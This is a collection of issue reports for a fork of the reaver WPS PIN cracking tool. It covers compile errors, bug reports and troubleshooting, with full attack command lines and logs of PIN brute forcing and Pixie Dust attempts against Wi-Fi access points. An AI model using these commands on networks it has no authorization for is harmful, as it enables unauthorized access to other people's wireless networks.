wps_dev_attr.c:364:45: warning: implicit declaration of function ‘pingen_zyxel’ [-Wimplicit-function-declaration]
printf("[Pin Gen] Pin Generated : %08d\n",pingen_zyxel(mac2str(get_bssid(),'\0'), 0));
^
make[1]: Leaving directory '/mnt/004A0B094A0AFAE4/reaver-wps-fork-t6x/src/wps'
gcc -DCONF_DIR='"/usr/local/etc/reaver"' -DREAVER_DATABASE='"/usr/local/etc/reaver/reaver.db"' -Wall -g -O2 -Ilibwps wpsmon.c *.o libwps/*.o wps/*.o tls/bignum.o tls/libtls.a utils/libutils.a crypto/libcrypto.a lwe/libiw.a -ldl -lm -lpcap -lsqlite3 -o wash
gcc -DCONF_DIR='"/usr/local/etc/reaver"' -DREAVER_DATABASE='"/usr/local/etc/reaver/reaver.db"' -Wall -g -O2 -Ilibwps wpscrack.c *.o libwps/*.o wps/*.o tls/bignum.o tls/libtls.a utils/libutils.a crypto/libcrypto.a lwe/libiw.a -ldl -lm -lpcap -lsqlite3 -o reaver
wpscrack.c: In function ‘main’:
wpscrack.c:40:33: warning: variable ‘r’ set but not used [-Wunused-but-set-variable]
int ret_val = EXIT_FAILURE, r = 0;
^
wpsmon.c: In function ‘parse_wps_settings’:
wpsmon.c:438:27: warning: pointer targets in passing argument 2 of ‘strcat’ differ in signedness [-Wpointer-sign]
strcat(cmd_chipset, mac2str(get_bssid(),':'));
^
In file included from libwps/libwps.h:18:0,
from wpsmon.h:41,
from wpsmon.c:34:
/usr/include/string.h:137:14: note: expected ‘const char * restrict’ but argument is of type ‘unsigned char *’
extern char *strcat (char *__restrict __dest, const char *__restrict __src)
^
Stucked at Waiting for beacon from...
Hello,
When using reaver, I'm staying stucked on :
root@kali:~# [+] Waiting for beacon from XX:XX:XX:XX:XX:XXA few info about my system (dual boot with Windows 8.1) :
root@kali:~# uname -a
root@kali:~# Linux kali 4.0.0-kali1-amd64 #1 SMP Debian 4.0.4-1+kali2 (2015-06-03) x86_64 GNU/LinuxThe steps I made :
First, using airmon-ng :
root@kali:~# airmon-ng check kill
Killing these processes:
PID Name
867 wpa_supplicant
878 dhclient
root@kali:~# airmon-ng start wlan0
PHY Interface Driver Chipset
phy0 wlan0 iwlwifi Intel Corporation Wireless 3160 (rev 83)
(mac80211 monitor mode vif enabled for [phy0]wlan0 on [phy0]wlan0mon)
(mac80211 station mode vif disabled for [phy0]wlan0)Using wash to find my network and check if WPS is enabled :
root@kali:~# wash -i wlan0mon
Wash v1.5.2 WiFi Protected Setup Scan Tool
Copyright (c) 2011, Tactical Network Solutions, Craig Heffner <[email protected]>
mod by t6_x <[email protected]> & DataHead & Soxrok2212
BSSID Channel RSSI WPS Version WPS Locked ESSID
---------------------------------------------------------------------------------------------------------------
XX:XX:XX:XX:XX:XX 1 108 1.0 No Toto
XX:XX:XX:XX:XX:XX 6 -123 1.0 No Tata
XX:XX:XX:XX:XX:XX 6 -123 1.0 No Blabla
00:11:22:33:44:55 11 -103 1.0 No Galbadia
^C(My network is the one named Galbadia.)
Then, using airodump-ng :
root@kali:~# airodump-ng wlan0mon
CH 12 ][ Elapsed: 0 s ][ 2009-01-01 23:51
BSSID PWR Beacons #Data, #/s CH MB ENC CIPHER AUTH ESSID
/* Other networks lines */
00:11:22:33:44:55: -31 7 2 0 11 54e WPA2 CCMP PSK Galbadia And finally starting reaver :
root@kali:~# reaver -i wlan0mon -b 00:11:22:33:44:55 -c 11 -vv
Reaver v1.5.2 WiFi Protected Setup Attack Tool
Copyright (c) 2011, Tactical Network Solutions, Craig Heffner <[email protected]>
mod by t6_x <[email protected]> & DataHead & Soxrok2212
[+] Switching wlan0mon to channel 11
[+] Waiting for beacon from 00:11:22:33:44:55
/* After 1 hour */
^C
[+] Nothing done, nothing to save.And that's it, this is where I'm stucked.
I looked around but didn't find any information.
I also tried the following :
reaver -i wlan0mon -b 00:11:22:33:44:55 -a -s -L -v -c 11 Some other informations :
I'm using a GE60 laptop and here are the result of ifconfig and iwconfig (used before any manipulation) :
root@kali:~# ifconfig
eth0 Link encap:Ethernet HWaddr 00:11:22:33:44:55
inet adr:192.168.0.18 Bcast:192.168.0.255 Masque:255.255.255.0
adr inet6: 0000::1111:2222:3333:4444/64 Scope:Lien
UP BROADCAST RUNNING MULTICAST MTU:1500 Metric:1
RX packets:70 errors:0 dropped:0 overruns:0 frame:0
TX packets:52 errors:0 dropped:0 overruns:0 carrier:0
collisions:0 lg file transmission:1000
RX bytes:7123 (6.9 KiB) TX bytes:8728 (8.5 KiB)
Interruption:19
lo Link encap:Boucle locale
inet adr:127.0.0.1 Masque:255.0.0.0
adr inet6: ::1/128 Scope:Hôte
UP LOOPBACK RUNNING MTU:65536 Metric:1
RX packets:20 errors:0 dropped:0 overruns:0 frame:0
TX packets:20 errors:0 dropped:0 overruns:0 carrier:0
collisions:0 lg file transmission:0
RX bytes:1200 (1.1 KiB) TX bytes:1200 (1.1 KiB)
wlan0 Link encap:Ethernet HWaddr 00:11:22:33:44:55:66
UP BROADCAST MULTICAST MTU:1500 Metric:1
RX packets:0 errors:0 dropped:0 overruns:0 frame:0
TX packets:0 errors:0 dropped:0 overruns:0 carrier:0
collisions:0 lg file transmission:1000
RX bytes:0 (0.0 B) TX bytes:0 (0.0 B)
root@kali:~# iwconfig
eth0 no wireless extensions.
wlan0 IEEE 802.11abgn ESSID:off/any
Mode:Managed Access Point: Not-Associated Tx-Power=0 dBm
Retry short limit:7 RTS thr:off Fragment thr:off
Encryption key:off
Power Management:on
lo no wireless extensions.So I don't know if this is the network or my card or me doing things wrong.
Regards,
Seifer
Allow bruteforce for last digit instead of computing the checksum
Hi, I stumbled upon this issue where reaver can't get the correct 2nd half of the pin. I found this issue (see coment#40) on google code archive and would like to know if there has been a fix for this or a feature that can accommodate manual brute force on the last digit of the pin. Thanks
pkr problem
hello,
i have tried attacking different wifies and using two different laptops. but it just keep looping forever! without any result!
i run reaver with this command:
reaver -b c0:4a:00:XX:XX:XX -vv -S -i wlan1mon -K 1
some of the output:
[+] Sending M2 message
[+] Received M1 message
[+] Sending WSC NACK
[+] Sending WSC NACK
[!] WPS transaction failed (code: 0x03), re-trying last pin
[+] Trying pin 12345670.
[+] Sending EAPOL START request
[!] WARNING: Receive timeout occurred
[+] Sending EAPOL START request
[+] Received identity request
[+] Sending identity response
[+] Received identity request
[+] Sending identity response
[+] Received identity request
[+] Sending identity response
[+] Received identity request
[+] Sending identity response
[P] E-Nonce: 28:85:8d:dc:3b:c9:bf:3a:59:2c:a7:bf:b8:e4:a9:93[P] PKE: 26:e9:4f:b5:96:65:ac:f8:3f:1f:7d:11:ac:ce:39:c2:24:b6:bf:62:dd:0a:98:c2:a4:44:12:e9:dd:f0:a4:0b:60:a2:0b:0a:ee:f2:2a:fd:00:e8:fc:3d:f5:c1:2d:70:f4:2c:d5:31:ff:9e:82:43:7a:ab:5b:f0:13:96:59:79:92:89:39:f3:c7:f0:6b:30:1b:84:f4:b6:52:76:5d:92:ec:47:79:14:68:ad:8b:1f:4f:5d:ef:1e:c0:e2:c4:61:68:73:b0:f8:47:d8:c2:b4:92:39:d2:a5:b3:7b:e6:63:3d:81:07:9d:31:7e:f1:24:ed:86:b9:3a:37:99:d8:7e:f8:27:0e:ca:6e:e5:fc:fe:e4:9d:f3:b2:93:a6:89:a1:63:ec:6e:52:e7:f8:1b:6c:97:9a:3c:67:aa:8a:78:e2:9d:9e:40:65:be:23:7c:ce:35:4b:38:4c:d7:8e:08:11:0b:b7:71:a7:11:67:17:57:09:ab:a6:4e:4f:16:53:67
[P] WPS Manufacturer: TP-LINK
[P] WPS Model Name: TL-WR841N
[P] WPS Model Number: 9.0
[P] Access Point Serial Number: 1.0
[+] Received M1 message
[P] R-Nonce: 45:94:c7:6c:7a:2b:15:91:69:90:f8:63:39:37:03:9b[P] PKR: 00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:02
[P] AuthKey: 53:01:fe:ca:97:dd:e6:56:8f:0e:06:1f:cb:39:28:3a:d9:30:f3:4f:b1:c0:51:22:9d:6a:d3:22:f3:32:ee:a6
Cannot change MAC of the host system
When I use -m flag nothing changed. I create a filter on WiFi router and when I use -m flag with a white list mac address, nothing changed and still stuck on Starting Cracking Session. Pin count: 0, Max pin attempts: 11000 with $ sudo reaver -i wlan0mon -b xxxxxxxxxxx -c 1 -vv -K -f -w command.
Is there any other way? I try macchanger but have the same issue.
reaver-wps-fork will not attempt Pixie or default Pin attacks regardless of parameters passed to it
I have noticed since the most recent push to git your fork of Reaver ignores -K 1 and -W and attempts a full brute force of WPS. I have tested this on two 64-bit Debian Laptops with two different Atheros cards.
Cannot compile
wpscrack.c: In function ‘main’:
wpscrack.c:40:33: warning: variable ‘r’ set but not used [-Wunused-but-set-variable]
int ret_val = EXIT_FAILURE, r = 0;
credits, no problems, just a detail :)
In the credits you say :
"Craig Heffner for creating the reaver
devttys0 (http://www.devttys0.com/) for the creation of default pin generators (D-Link, Belkin)
"
devttys0 IS Craig heffner ;)
cheers and take care
brute force broken by inversion of p1 and p2 indexes while using option -p
I did not realized this until some day agos
basic command line without -p option 👍
`sudo reaver -ilan0mon -vv -b 9C:97:26:A1:27:C7
Reaver v1.5.2 WiFi Protected Setup Attack Tool
Copyright (c) 2011, Tactical Network Solutions, Craig Heffner [email protected]
mod by t6_x [email protected] & DataHead & Soxrok2212 & Wiire & kib0rg
[+] Waiting for beacon from 9C:97:26:A1:27:C7
[+] Switching wlan0mon to channel 1
[+] Switching wlan0mon to channel 2
[+] Switching wlan0mon to channel 3
[+] Switching wlan0mon to channel 4
[+] Switching wlan0mon to channel 5
[+] Switching wlan0mon to channel 6
[+] Associated with 9C:97:26:A1:27:C7 (ESSID: Jazztel_A127C7)
[+] Starting Cracking Session. Pin count: 0, Max pin attempts: 11000
[+] Trying pin 12345670.
[+] Sending EAPOL START request
[+] Received identity request
[+] Sending identity response
[+] Received M1 message
[+] Sending M2 message
[+] Received M3 message
[+] Sending M4 message
[+] Received WSC NACK
[+] Sending WSC NACK
[+] p1_index set to 1
[+] Pin count advanced: 1. Max pin attempts: 11000
[+] Trying pin 00005678.
[+] Sending EAPOL START request
[+] Received identity request
[+] Sending identity response
[+] Received M1 message
[+] Sending M2 message
[+] Received M3 message
[+] Sending M4 message
[+] Received WSC NACK
[+] Sending WSC NACK
[+] p1_index set to 2
[+] Pin count advanced: 2. Max pin attempts: 11000
`
everything goes well, i try 12345670 and another PIN, p1_index is set to 2 as it should
same command line just adding the option -p , same PA,
`sudo reaver -i wlan0mon -vv -b 9C:97:26:A1:27:C7 -p 12345670
Reaver v1.5.2 WiFi Protected Setup Attack Tool
Copyright (c) 2011, Tactical Network Solutions, Craig Heffner [email protected]
mod by t6_x [email protected] & DataHead & Soxrok2212 & Wiire & kib0rg
[+] Waiting for beacon from 9C:97:26:A1:27:C7
[+] Switching wlan0mon to channel 1
[+] Switching wlan0mon to channel 2
[+] Switching wlan0mon to channel 3
[+] Switching wlan0mon to channel 4
[+] Switching wlan0mon to channel 5
[+] Switching wlan0mon to channel 6
[+] Associated with 9C:97:26:A1:27:C7 (ESSID: Jazztel_A127C7)
[+] Starting Cracking Session. Pin count: 10000, Max pin attempts: 11000
[+] Trying pin 12345670.
[+] Sending EAPOL START request
[+] Received identity request
[+] Sending identity response
[+] Received M1 message
[+] Sending M2 message
[+] Received M3 message
[+] Sending M4 message
[+] Received WSC NACK
[+] Sending WSC NACK
[+] p2_index set to 1
[+] Pin count advanced: 10001. Max pin attempts: 11000
[+] Trying pin 12345670.
[+] Sending EAPOL START request
[+] Received identity request
[+] Sending identity response
[+] Received M1 message
[+] Sending M2 message
[+] Received M3 message
[+] Sending M4 message
[+] Received WSC NACK
[+] Sending WSC NACK
[+] p2_index set to 2
[+] Pin count advanced: 10002. Max pin attempts: 11000
[!] WARNING: Detected AP rate limiting, waiting 60 seconds before re-checking
^C
[+] Session saved.
`
even if i am having a fluent wps flow, i just try the PIN 12345670
This is because p1_index does not rise while first half PIN are checked
a typo or something made growth on p2_index and the counting on *.wpc file are corrupted
Brute force is not possible while using the -p option
post scriptum : i used the very last version to test the bug
reaver problem
hi,
I have tried reaver 1.4 and now 1.5.2 and I am have problems to get it working.
attached the generted output below with the first comment
can anyone help
regrads
christian
if received m5 after sent m6,rever can't crack the AP's password
hi,
When I cracked the AP's pin, i could not crack the ap's password when the reaver received m5 after it sent m6. because the wps->state is not RECV_M7 as below. could you help me to solve it.
static enum wps_process_res wps_process_m7(struct wps_data *wps,
const struct wpabuf *msg,
struct wps_parse_attr *attr)
{
struct wpabuf *decrypted;
struct wps_parse_attr eattr;
wpa_printf(MSG_DEBUG, "WPS: Received M7");
if (wps->state != RECV_M7) {
wpa_printf(MSG_DEBUG, "WPS: Unexpected state (%d) for "
"receiving M7", wps->state);
wps->state = SEND_WSC_NACK;
return WPS_CONTINUE;
}
Brute Force never increments PIN and with K 1 if a pin is found it just hangs
Two issues i am noticing.. if i just run a normal brute force it will always retry the same pin 12345670 and never increment to the next pin.. Thats frustrating to say the least.. Also i have noticed that often when using the -N -K 1 option i can successfully get the pin but it never gives me the psk.. instead i have to run wpa_cli / wps_reg [BSSID] [PIN FOUND] to get the psk.. don't know why? also once i got a message when running -K 1 that a pin was not found but that the target maybe vulnerable to -K 4.. what is -K 4 infact what are all the -K options?
lsb_release -a
No LSB modules are available.
Distributor ID: Kali
Description: Kali GNU/Linux 1.1.0
Release: 1.1.0
Codename: moto
Reaver v1.5.2 WiFi Protected Setup Attack Tool
my wireless card: http://hakshop.myshopify.com/collections/wireless-gear/products/alfa-usb-wifi-awus036neh
Openwrt Mips Compiling Error
Hi, i tried to compile this reaver fork with the latest openwrt trunk.
I got the following Problem:
make[5]: Entering directory '/opt/openwrt/build_dir/target-mips_34kc_musl-1.1.11/reaver-wps-fork-t6x-Big_endian/src/utils'
make[5]: Nothing to be done for 'all'.
make[5]: Leaving directory '/opt/openwrt/build_dir/target-mips_34kc_musl-1.1.11/reaver-wps-fork-t6x-Big_endian/src/utils'
(cd tls && make)
make[5]: Entering directory '/opt/openwrt/build_dir/target-mips_34kc_musl-1.1.11/reaver-wps-fork-t6x-Big_endian/src/tls'
make[5]: Nothing to be done for 'all'.
make[5]: Leaving directory '/opt/openwrt/build_dir/target-mips_34kc_musl-1.1.11/reaver-wps-fork-t6x-Big_endian/src/tls'
(cd crypto && make)
make[5]: Entering directory '/opt/openwrt/build_dir/target-mips_34kc_musl-1.1.11/reaver-wps-fork-t6x-Big_endian/src/crypto'
make[5]: Nothing to be done for 'all'.
make[5]: Leaving directory '/opt/openwrt/build_dir/target-mips_34kc_musl-1.1.11/reaver-wps-fork-t6x-Big_endian/src/crypto'
(cd wps && make)
make[5]: Entering directory '/opt/openwrt/build_dir/target-mips_34kc_musl-1.1.11/reaver-wps-fork-t6x-Big_endian/src/wps'
make[5]: Nothing to be done for 'all'.
make[5]: Leaving directory '/opt/openwrt/build_dir/target-mips_34kc_musl-1.1.11/reaver-wps-fork-t6x-Big_endian/src/wps'
(cd lwe && make BUILD_STATIC=y libiw.a)
make[5]: Entering directory '/opt/openwrt/build_dir/target-mips_34kc_musl-1.1.11/reaver-wps-fork-t6x-Big_endian/src/lwe'
make[5]: 'libiw.a' is up to date.
make[5]: Leaving directory '/opt/openwrt/build_dir/target-mips_34kc_musl-1.1.11/reaver-wps-fork-t6x-Big_endian/src/lwe'
(cd libwps && make)
make[5]: Entering directory '/opt/openwrt/build_dir/target-mips_34kc_musl-1.1.11/reaver-wps-fork-t6x-Big_endian/src/libwps'
mips-openwrt-linux-musl-gcc -Wall libwps.c -c
cc1: note: someone does not honour COPTS correctly, passed 0 times
In file included from libwps.c:14:0:
libwps.h:50:32: error: unknown type name 'u_char'
int parse_wps_parameters(const u_char packet, size_t len, struct libwps_data *wps);
^
libwps.h:129:25: error: unknown type name 'u_char'
int parse_wps_tag(const u_char *tags, size_t len, struct libwps_data *wps);
^
libwps.h:130:35: error: unknown type name 'u_char'
unsigned char *get_wps_data(const u_char *data, size_t len, size_t *tag_len);
^
libwps.h:131:43: error: unknown type name 'u_char'
unsigned char *get_wps_data_element(const u_char *data, size_t len, uint16_t type, size_t *el_len);
^
libwps.h:132:32: error: unknown type name 'u_char'
int libwps_has_rt_header(const u_char *packet, size_t len);
^
libwps.h:133:7: error: unknown type name 'u_char'
const u_char *libwps_radio_header(const u_char *packet, size_t len);
^
libwps.h:133:41: error: unknown type name 'u_char'
const u_char *libwps_radio_header(const u_char *packet, size_t len);
^
libwps.c:26:32: error: unknown type name 'u_char'
int parse_wps_parameters(const u_char *packet, size_t len, struct libwps_data *wps)
^
libwps.c: In function 'parse_wps_parameters':
libwps.c:28:11: error: unknown type name 'u_char'
const u_char *data = NULL;
^
libwps.c:29:12: warning: variable 'data_len' set but not used [-Wunused-but-set-variable]
size_t data_len = 0, offset = 0;
^
libwps.c: At top level:
libwps.c:55:25: error: unknown type name 'u_char'
int parse_wps_tag(const u_char *tags, size_t len, struct libwps_data *wps)
^
libwps.c: In function 'parse_wps_tag':
libwps.c:89:39: warning: passing argument 1 of 'get_wps_data_element' from incompatible pointer type [-Wincompatible-pointer-types]
el = get_wps_data_element(wps_ie_data, wps_data_len, elements[i], &el_len);
^
In file included from libwps.c:14:0:
libwps.h:131:16: note: expected 'const int *' but argument is of type 'unsigned char *'
unsigned char *get_wps_data_element(const u_char *data, size_t len, uint16_t type, size_t *el_len);
^
libwps.c: At top level:
libwps.c:190:35: error: unknown type name 'u_char'
unsigned char *get_wps_data(const u_char *data, size_t len, size_t *tag_len)
^
libwps.c:234:43: error: unknown type name 'u_char'
unsigned char *get_wps_data_element(const u_char *data, size_t len, uint16_t type, size_t *el_len)
^
libwps.c:269:32: error: unknown type name 'u_char'
int libwps_has_rt_header(const u_char *packet, size_t len)
^
libwps.c:291:7: error: unknown type name 'u_char'
const u_char *libwps_radio_header(const u_char *packet, size_t len)
^
libwps.c:291:41: error: unknown type name 'u_char'
const u_char *libwps_radio_header(const u_char *packet, size_t len)
^
libwps.c: In function 'libwps_radio_header':
libwps.c:299:17: error: 'u_char' undeclared (first use in this function)
return (u_char *) FAKE_RADIO_TAP_HEADER;
^
libwps.c:299:17: note: each undeclared identifier is reported only once for each function it appears in
libwps.c:299:25: error: expected expression before ')' token
return (u_char *) FAKE_RADIO_TAP_HEADER;
^
libwps.c:302:1: warning: control reaches end of non-void function [-Wreturn-type]
}
^
Makefile:5: recipe for target 'libwps.o' failed
make[5]: ** [libwps.o] Error 1
make[5]: Leaving directory '/opt/openwrt/build_dir/target-mips_34kc_musl-1.1.11/reaver-wps-fork-t6x-Big_endian/src/libwps'
Makefile:19: recipe for target 'libwps.o' failed
make[4]: *** [libwps.o] Error 2
make[4]: Leaving directory '/opt/openwrt/build_dir/target-mips_34kc_musl-1.1.11/reaver-wps-fork-t6x-Big_endian/src'
Makefile:54: recipe for target '/opt/openwrt/build_dir/target-mips_34kc_musl-1.1.11/reaver-wps-fork-t6x-Big_endian/.built' failed
make[3]: *** [/opt/openwrt/build_dir/target-mips_34kc_musl-1.1.11/reaver-wps-fork-t6x-Big_endian/.built] Error 2
make[3]: Leaving directory '/opt/openwrt/customfeeds/reaver'
package/Makefile:191: recipe for target 'package/feeds/customfeed/reaver/compile' failed
make[2]: *** [package/feeds/customfeed/reaver/compile] Error 2
make[2]: Leaving directory '/opt/openwrt'
package/Makefile:188: recipe for target '/opt/openwrt/staging_dir/target-mips_34kc_musl-1.1.11/stamp/.package_compile' failed
make[1]: *** [/opt/openwrt/staging_dir/target-mips_34kc_musl-1.1.11/stamp/.package_compile] Error 2
make[1]: Leaving directory '/opt/openwrt'
/opt/openwrt/include/toplevel.mk:177: recipe for target 'world' failed
make: *** [world] Error 2
whats this all about?
Does this has support to Mac OS X?
I've built reaver on mac os x but it seems it doesn't gives along with my mac's wifi card.
Is it just because there is no support for Mac or is this kind of a bug with this broadcom card? Any tip out there?
MacBook-Pro-de-JM:~ root# reaver -b 9C:97:26:xx:xx:xx -i en0 -c 11 -f -vvvv -K 1
Reaver v1.5.2 WiFi Protected Setup Attack Tool
Copyright (c) 2011, Tactical Network Solutions, Craig Heffner <[email protected]>
mod by t6_x <[email protected]> & DataHead & Soxrok2212 & Wiire & kib0rg
[+] Switching en0 to channel 11
[+] Waiting for beacon from 9C:97:26:xx:xx:xx
[+] Associated with 9C:97:26:xx:xx:xx (ESSID: BRISA)
[+] Starting Cracking Session. Pin count: 0, Max pin attempts: 11000
[+] Trying pin 12345670.
[+] Sending EAPOL START request
[!] WARNING: Receive timeout occurred
[+] Sending EAPOL START request
[!] WARNING: Receive timeout occurred
[+] Sending EAPOL START request
[!] WARNING: Receive timeout occurred
[+] Sending EAPOL START request
[!] WARNING: Receive timeout occurred
[+] Sending EAPOL START request
[!] WARNING: Receive timeout occurred
[+] Sending EAPOL START request
[!] WARNING: Receive timeout occurred
[+] Sending EAPOL START request
^C
[+] Nothing done, nothing to save.Cant take WPA PSK
Cant take WPA PSK. But pin i have
Is there any way to use reaver with chipset RT3572 dual band wifi adapter
The chipset RT3572 works fine with aircrack-ng. But When using reaver or bully there is timeout or eap failed or wps failed. If this kinda wifi adapter can not well-supported please let me know! Thanks a lot :)
Reaver getting all info but no pin
My apologies if this is not the place for this question, I have spent hours trying to find information.
The problem, I ran Reaver on a BT Hub using reaver -i wlan0mon -b xx:xx:xx:xx:xx:xx -c 11 -vv -S -d 0 -a -t 15 -N -K 1
Reaver returned all the information I thought it would require to crack the pin but it doesn't.
Having researched I know that not all routers can be hacked so my question is if a router can't be hacked would Reaver still get all the info and then pixiewps cannot get the pin from the info?
Is there anything else I could try with this information?
Data as follows
Reaver v1.5.2 WiFi Protected Setup Attack Tool
Copyright (c) 2011, Tactical Network Solutions, Craig Heffner [email protected]
mod by t6_x [email protected] & DataHead & Soxrok2212
[+] Switching wlan0mon to channel 11
[+] Waiting for beacon from xx:xx:xx:xx:xx:xx
[+] Associated with xx:xx:xx:xx:xx:xx (ESSID: BTHub3-5568)
[+] Starting Cracking Session. Pin count: 0, Max pin attempts: 11000
[+] Trying pin 12345670.
[+] Sending EAPOL START request
[!] WARNING: Receive timeout occurred
[+] Sending EAPOL START request
[+] Received identity request
[+] Sending identity response
[P] E-Nonce: d9:c0:0f:9f:35:b8:cf:14:9b:fa:d8:94:cc:eb:ad:cf
[P] PKE: 4c:28:07:94:ff:f3:2c:50:f9:df:61:cc:f1:35:fb:24:a3:b9:8d:93:03:0b:18:92:19:58:8f:c3:cf:8f:6b:f1:18:22:ee:eb:36:69:b9:5e:ea:48:ed:18:51:06:f9:97:6c:18:e2:0d:3a:4f:22:2f:b0:41:a0:1a:c2:83:7e:76:fe:90:11:df:db:06:5b:5a:09:cb:c4:3e:2b:40:ce:fd:6c:7e:79:09:c1:e3:bf:ca:ca:58:27:17:5d:a4:34:72:5a:70:69:84:26:f8:68:bd:ec:69:d1:09:f1:fc:8c:64:53:e6:7e:db:ff:f1:43:8b:17:27:84:62:09:f6:92:c0:77:54:ed:5a:a5:bd:43:ef:52:f4:c3:ed:a1:53:f6:59:00:f2:71:4e:58:b2:95:4b:09:d9:61:e8:8b:0c:63:c7:ec:f7:9c:6a:5f:be:d9:c8:8c:5a:97:63:40:41:83:11:e9:3c:45:fe:73:f6:5a:b7:00:7c:ad:da:e7:b0:12:8d
[P] WPS Manufacturer: BTeros
[P] WPS Model Name: Home Hub 3.0 Multi Mode
[P] WPS Model Number: BT Home Hub 3.0A
[P] Access Point Serial Number: 1049025965
[+] Received M1 message
[P] R-Nonce: 2a:c4:42:9c:12:74:58:a1:02:87:82:89:78:c1:58:f9
[P] PKR: 00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:02
[P] AuthKey: 77:e9:18:37:cb:28:36:55:88:27:c1:c9:28:30:4a:fa:07:d1:bc:e2:75:98:0a:f6:d8:89:22:c2:8a:4e:0b:64
[+] Sending M2 message
[P] E-Hash1: 30:2d:1d:55:40:5a:fe:ac:50:8a:59:c4:29:92:20:09:40:6a:8d:f8:00:7e:bb:bd:cb:f7:ae:17:38:e1:24:98
[P] E-Hash2: 6a:9f:0a:71:61:9f:23:77:6b:96:09:fb:67:dd:52:28:e5:ad:59:de:a0:df:9e:bc:82:f8:74:15:76:28:c2:8b
[Pixie-Dust]
[Pixie-Dust] Pixiewps 1.1
[Pixie-Dust]
[Pixie-Dust] [-] WPS pin not found!
Lastly is it prudent to always xx the mac address when posting on forums?
error during make
i got error when i run make command after configure , on kali sana 2.0
2 -Ilibwps wpscrack.c *.o libwps/*.o wps/*.o tls/bignum.o tls/libtls.a utils/libutils.a crypto/libcrypto.a lwe/libiw.a -ldl -lm -lpcap -lsqlite3 -o reaver
wpscrack.c: In function ‘main’:
wpscrack.c:40:33: warning: variable ‘r’ set but not used [-Wunused-but-set-variable]
int ret_val = EXIT_FAILURE, r = 0;
^
OSX installation
hi... i try install under OSX Yosemite... but error coming..
can you guide me? thanks
"
35 warnings generated.
cc -I../utils -I ../ wps_ufd.c -c
gmake[1]: Leaving directory '/Users/XXX/Downloads/reaver-wps-fork-t6x-master/src/wps'
(cd lwe && gmake BUILD_STATIC=y libiw.a)
gmake[1]: Entering directory '/Users/XXX/Downloads/reaver-wps-fork-t6x-master/src/lwe'
cp wireless.21.h wireless.h
gcc -Os -W -Wall -Wstrict-prototypes -Wmissing-prototypes -Wshadow -Wpointer-arith -Wcast-qual -Winline -I. -MMD -fPIC -c -o iwlib.so iwlib.c
In file included from iwlib.c:14:
./iwlib.h:54:10: fatal error: 'linux/types.h' file not found
include <linux/types.h> /* for "caddr_t" et al */
^
1 error generated.
Makefile:120: recipe for target 'iwlib.so' failed
gmake[1]: *** [iwlib.so] Error 1
gmake[1]: Leaving directory '/Users/XXX/Downloads/reaver-wps-fork-t6x-master/src/lwe'
Makefile:34: recipe for target 'libiw' failed
gmake: *** [libiw] Error 2
"
Constant failed to associate
I'm getting a "failed to associate with" message every time I run this tool. It's happened with every AP. I use wash to identify WPS APs. Since it's happened with every AP across multiple channels, I think there is an issue.
Here's the command I try:
./reaver -i wlan1mon -K 1 -c x -b xx:xx:xx:xx:xx:xx
Adding "-vv" adds no additional helpful information to the output.
This attack is demonstrated here:
https://www.kali.org/penetration-testing/pixiewps-reaver-aircrack-ng-updates/
It's what I'm trying to replicate.
EAPOL timeouts
Hi Guys,
Thanks very much in advance, I'm getting EAPOL timeouts whenever I try to use reaver on a kali2 installation. At first I thought it was the internal card (Intel Wireless 7260 (rev bb)) so have since bought an Alfa AWUS036NHA and am seeing the same results.
Below is output from the intel card when I first asked this on unixstackexchange but didn't get anywhere. The new Alfa card shows exactly the same output and is installed as follows;
Interface Driver Chipset
wlan2 ath9k_htc Atheros Communications, Inc. AR9271 800211n
Any help would be very much appreciated.
Output on intel card
root@kali:~# airmon-ng check kill
Killing these processes:
PID Name
776 wpa_supplicant
root@kali:~# airmon-ng start wlan0
No interfering processes found
PHY Interface Driver Chipset
phy0 wlan0 iwlwifi Intel Corporation Wireless 7260 (rev bb)
(mac80211 monitor mode vif enabled for [phy0]wlan0 on [phy0]wlan0mon)
(mac80211 station mode vif disabled for [phy0]wlan0)
root@kali:~#airodump-ng wlan0mon
BSSID PWR Beacons #Data, #/s CH MB ENC CIPHER AUTH ESSID
xxxxxxxxxxxxxxxxx -48 48 21 0 1 54e WPA2 CCMP PSK xxx
xxxxxxxxxxxxxxxxx -57 20 0 0 6 54e. WPA2 CCMP MGT xxx
xxxxxxxxxxxxxxxxx -58 19 0 0 6 54e. WPA2 CCMP PSK xxx
xxxxxxxxxxxxxxxxx -59 24 0 0 6 54e. OPN xxx
xxxxxxxxxxxxxxxxx -79 29 1 0 5 54e WPA2 CCMP PSK xxx
xxxxxxxxxxxxxxxxx -83 17 0 0 11 54e WPA2 CCMP PSK xxx
xxxxxxxxxxxxxxxxx -83 13 0 0 11 54e WPA2 CCMP MGT xxx
xxxxxxxxxxxxxxxxx -83 19 0 0 11 54e OPN xxx
root@kali:~# reaver -i wlan0mon -b xxxxxxxxxxxxxxxxx -A -S -N -a -vv -K 1
Reaver v1.5.2 WiFi Protected Setup Attack Tool
Copyright (c) 2011, Tactical Network Solutions, Craig Heffner [email protected]
mod by t6_x [email protected] & DataHead & Soxrok2212
[+] Waiting for beacon from xxxxxxxxxxxxxxxxx
[+] Switching wlan0mon to channel 1
